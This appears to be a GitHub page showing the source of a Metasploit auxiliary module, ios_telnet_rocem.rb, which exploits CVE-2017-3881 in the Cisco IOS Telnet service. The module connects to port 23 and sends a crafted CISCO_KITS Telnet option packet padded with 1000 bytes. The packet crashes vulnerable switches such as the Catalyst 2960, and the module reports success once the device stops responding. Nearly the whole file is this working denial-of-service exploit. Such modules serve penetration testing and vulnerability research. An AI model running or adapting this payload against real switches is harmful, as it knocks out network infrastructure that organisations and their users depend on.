-
Notifications
You must be signed in to change notification settings - Fork 80
/
Copy pathios_telnet_rocem.rb
54 lines (41 loc) · 1.49 KB
/
ios_telnet_rocem.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco IOS Telnet Denial of Service',
'Description' => %q{
This module triggers a Denial of Service condition in the Cisco IOS
telnet service affecting multiple Cisco switches (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp). Tested against Cisco Catalyst 2960.
},
'Author' => [ 'Artem Kondratenko' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '96960'],
[ 'CVE', 'CVE-2017-3881'],
],
'DisclosureDate' => 'March 17 2017'))
register_options(
[
Opt::RPORT(23),
], self.class)
end
def run
connect
print_status("Connected to telnet service")
print_status("Got initial packet from telnet service: " + sock.gets.inspect)
print_status("Sending Telnet DoS packet")
sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + 'A' * 1000 + ":1:\xff\xf0")
disconnect
rescue ::Rex::ConnectionRefused
print_status("Unable to connect to #{rhost}:#{rport}.")
rescue ::Errno::ECONNRESET
print_status("DoS packet successful. #{rhost} not responding.")
end
end